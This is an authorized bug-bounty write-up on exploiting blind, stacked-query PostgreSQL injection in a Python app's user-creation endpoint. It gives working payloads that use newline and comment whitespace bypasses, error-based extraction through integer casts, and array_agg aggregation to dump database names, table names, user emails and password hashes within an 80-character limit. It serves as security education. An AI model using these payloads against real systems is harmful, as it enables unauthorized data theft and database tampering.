• Twitter
  • FB
  • Github
  • Youtube

Monday, November 30, 2020

Exploiting blind PostgreSQL injection and exfiltrating data in psycopg2


    Greetings everyone this is Shawar Khan and its been a while since my last write-up. After being quite busy with Synack, there have been some interesting discoveries and I'm going to share one of them today. 

There are a lots of new things I want to share but at the moment I'm going to disclose one of my recent finding in a web application developed in Python. This was a program on Synack so I'll referrer to the target as redacted.com or Redacted Org

The target was in Quality rule which means the best quality report wins so my focus was on writing the best report with maximum impact. 

 Setting up scope:

I started by setting up scope as there were specific endpoint allowed such as staging.sub.redacted.com/endpoint/:

Setting up Advanced Scope

Ticking "is in target scope" for collecting only relevant traffic.

The option is in target scope was ticked so only scoped domains will be intercepted.

Understanding application work flow:

The functionality in staging.sub.redacted.com was quite limited and after analyzing traffic in Burp Suite History, I observed that there is a single endpoint that is responsible for making changes and updates to web pages. An endpoint at staging.sub.redacted.com/endpoint/_dash-update-component was discovered which was receiving a lots of POST requests and each of them had unique JSON response. This confirmed the endpoint can handle different data and was containing different functionalities.

The application had two roles named Admin & User. The admin user was able to add new users to the application and make some changes and later I found privilege escalation that allowed me to create new users from a user privileged account. 

The user creation was done by _dash-update-component as well and was having the following request:

 POST /endpoint/_dash-update-component HTTP/1.1
Host: staging.sub.redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRFToken: undefined
Origin: https://staging.sub.redacted.com
Content-Length: 710
Connection: close


This request above had the following response which confirms a new user is created:

HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:18 GMT
Content-Type: application/json
Content-Length: 192
Connection: close

{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User created"], "className": "text-success"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}

I was testing this feature for more vulnerabilities and I tried to send the same request again and received the following response:

HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:12 GMT
Content-Type: application/json
Content-Length: 350
Connection: close

{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1]\n(Background on this error at: http://sqlalche.me/e/f405)"], "className": "text-danger"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}

I tried to create test1 user again and received an error message stating New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1] . The error seems to be a Python exception which occurred due to lack of try/except. If try/except are used as except(Exception) the application does not return any exception which was not the case here.

The python module being used here was psycopg2 which I was not familiar with. So I searched for this module and found that this was a database adapter module for PostgreSQL database which confirms the application was running a PostgreSQL database. Moreover, the exception leaked a query CREATE SCHEMA test1 and this was shocking as test1 was the username I provided. This confirmed my input was directly passed to a SQL query after being retrieved from newUsername object's value.

What I did was applied sqlmap on a specified location with risk & level 3 which unfortunately failed. I knew if there is an SQL injection I'd have to go for manual exploitation rather than depending on automated exploitation. 

Proceeding with manual exploitation:

Till this point I was sure of the SQL injection due to the fact that if a username is created as testuser1;TEST the application will create a user with name testuser1 but will throw a syntax error which confirmed the TEST was separately executed as a query.

New User not created: (psycopg2.errors.SyntaxError) syntax error at or near \"TEST\"\nLINE 1: CREATE SCHEMA testuser1;TEST...\n

After putting single or double quotes the application responded with unclosed quotation errors which confirms our input was not wrapped inside quotes which was obvious anyway. In order to execute a new query the first query has to be first closed using ; so I tried creating a username as test1 AND SELECT version() and the application converted the spaces to _ so my username became test1_and_select_version() which didn't worked.

A simple bypass worked which was using comments instead of spaces. I converted all the spaces to /**/ but ended up having the same issue. Upon further tests, I found other unique bypasses that can be used to enter white spaces. In python, characters such as \n , \r or \t can be used for new lines and tabs and I was able to use them as separators of queries. This worked as the application was using python.

However, I was responded with two cases and either the application created a new user or returned error message and non of those cases were having a result of version(). The second query works if the first query executes so has to make sure the user does not exists else the query will fail.

I was running out of time for quality rule so I tried to see if I was able to enumerate tables, before that I tried to use a large string such as

and the application returned an error message which disclosed the following query:

INSERT INTO userdata (username, email, password, roles) VALUES 
(%(username)s, %(email)s, %(password)s, %(roles)s) RETURNING 
userdata.id]\n[parameters: {'username': 
 'email': 'woot@woot.com', 'password': 
 'roles': 'dp'

The error message returned was New User not created: (psycopg2.errors.StringDataRightTruncation) value too long for type character varying(80) after reading the error I found the application is having a character limit of 80 which shown we had limitations.

I was familiar with concatenation bypasses but all other endpoints was not returning values unfiltered or directly placed as most of them were wrapped in quotes which were properly escaped so concatenation bypasses were not of use.

From the disclosed query I found the columns of a table userdata which was having all registered users and I noted this for later. 

I was running out of time so I proceeded to enumeration of table names. By using the query test1111;SELECT/**/version/**/from/**/existornot; I was able to identify if a table exists or not. If a table does not exists, the application return the error message psycopg2.errors.UndefinedTable) column \"existornot\" does not exist & if the table exists, the application returns psycopg2.errors.UndefinedColumn) column \"version\" does not exist message which shows if a column exists or not.

After trying every query and bypass I was not able to retrieve information even after using SELECT statement and everything ended up with syntax error or user created error. This was done due to third query I believe which was broken after escaping from CREATE SCHEMA context.

I reported this vulnerability as limited blind SQL injection and with possibility of enumeration of tables and columns and asked permission for further exploitation. It is always a best thing to ask for permission before accessing something as this can cause trouble if done without permission. 

Won the Quality Rule! Now what?:

Luckily my report was selected as winner of Quality Rule:

Won the quality rule!

Finally, My report won the quality rule and I was given permission for further exploitation.  During my tests, I found something quite interesting and it was how the application was providing hints on available columns and tables. I used the query teb2;SELECT/**/password/**/from/**/pg_user; and the application responded with:

    "multi": true, 
    "response": {
        "createUserSuccess": {
            "children": {
                "type": "Div", 
                "props": {
                    "className": "text-danger", 
                    "children": [
                        "New User not created: (psycopg2.errors.UndefinedColumn) column \"password\" does not exist\nLINE 1: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;\n                                    ^\nHINT:  Perhaps you meant to reference the column \"pg_user.passwd\".\n\n[SQL: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;]\n(Background on this error at: http://sqlalche.me/e/f405)"
                "namespace": "dash_html_components"

The application provided a message HINT:  Perhaps you meant to reference the column \"pg_user.passwd\" which disclosed the available column passwd which was similar to password so the application discloses similar columns or tables as well which was a plus point when performing enumeration.

Using type casting to access information:

During my past years, I studied about something related to type casting where user input is converted to a type which is not possible and that discloses information being retrieved. So as we were not able to retrieve any data at the moment, I studied about something related to type casting and type conversion and found that PostgreSQL has a function named CAST() which can be used for converting types of data. In order to cause exception I wanted to convert a column to INTEGER so it would disclose information.

I tried this experiment in order to retrieve current DB version using the query test11a1111;SELECT/**/CAST(version()/**/AS/**/INTEGER); and BOOM!:

Disclosed database version()

I received a response with the string PostgreSQL 12.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.3 20140911 (Red Hat 4.8.3-9), 64-bit which was caused due to conversion of data type to Integer. That was the moment I realized this is It and I've to proceed further with something big ( didn't knew what challenges I was about to face, lol ).

Using CAST() was something I was having trouble with as I had limited 80 chars input and using a query with  CAST() I made a query up to 45 chars:

>>> len("t;SELECT/**/CAST(version()/**/AS/**/INTEGER);")

After searching on google for alternative use of CAST() I found that it is possible to convert data types just by using ::int which is way too shorter as compared to the previous query. The query  t;SELECT\nversion()::int returns the same response but has lower character length.

>>> len("t;SELECT\nversion()::int")

Using \n instead of /**/ and using ::int instead of CAST() saved a lot of character length which helped me for further exploitation.

I was able to obtain single values from commands such as version(), current_user and others and now it was time to retrieve table information.

Obtaining table information:

Next I wanted to retrieve all the available table names and in order to do that I tried to access pg_catalog.pg_tables which holds all the available table names. I used the query tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n2)::integer and received the following response:

I recieved an error  New User not created: (psycopg2.errors.CardinalityViolation) more than one row returned by a subquery used as an expression\n\n[SQL: CREATE SCHEMA which stated that more than one row is not allowed. If a query is returning a list of databases, the application does not shows them due to some violation of Cardinality. 

I tried using limit and offset so I could retrieve specific rows and limited the input to a single row and it worked! I was able to retrieve the table name userconfig:

Using the query tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer returned the output above. This was a limited case as well as the max table length that was possible was 13 and I wanted to List all the available tables:

>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer")
>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::int")

Character limit? Row limit? Seriously...:

I googled for techniques and methods I could use to convert multiple rows into a single one and I was looking for something similar to group_concat without using much character length. After some research I came up with array_to_string & array_agg. For converting all the returned rows I used array_agg as this returns an array and in order to convert the array to a string I used array_to_string. Using the query b2;select\narray_to_string(array_agg(datname),',')::int\nfrom\npg_database; I was able to obtain the list of available database names:

For retrieving table list I tried to access pg_tables using the query b2;select\narray_to_string(array_agg(tablename),',')::int\nfrom\npg_tables; which has a length of 72:

We already knew the columns and table name userdata which was found by a query disclosure, how about accessing that for proof that user data can be accessed?

How about a little row of user data?

Length limit was still an issue but still I was able to retrieve all the available databases, tables and columns. By using the query t3;SELECT\n(select\nemail\nfrom\nuserdata\nlimit\n1\noffset\n5)::int the application returned the email address for user at offset 5, I used offset as I didn't wanted to dump the entire table having hundreds of users:


For retrieving user password I used t3;SELECT\n(select\npassword\nfrom\nuserdata\nlimit\n1\noffset\n5)::int which returned a SHA256 hash:


Wrapping it up!:

So, thats It! All information accessed and I was able to DROP, CREATE and Modify any table by exploiting this vulnerability. For all people out there spending time learning new stuff or doubting their skills when not finding any vulnerabilities , just remember that everything comes with persistence and consistency. Without these you won't be able to achieve anything, If you are willing to do something you can do it no matter how tough it looks. If you are persistent and dedicated, you can achieve anything. 

At the time of report I though this is limited to table and column enumeration but after spending 11 hours of exploitation and testing I was able to achieve the max however due to lack of privileges I was not able to get system access but I got what I wanted.



 Let me know in the comments If you love this write-up, share if this helped learning new techniques!



  1. Its really helpful for me as beginner...Thanks man..

    1. Really this is very helpful for me.Thanks


Want to contact?

Get in touch with me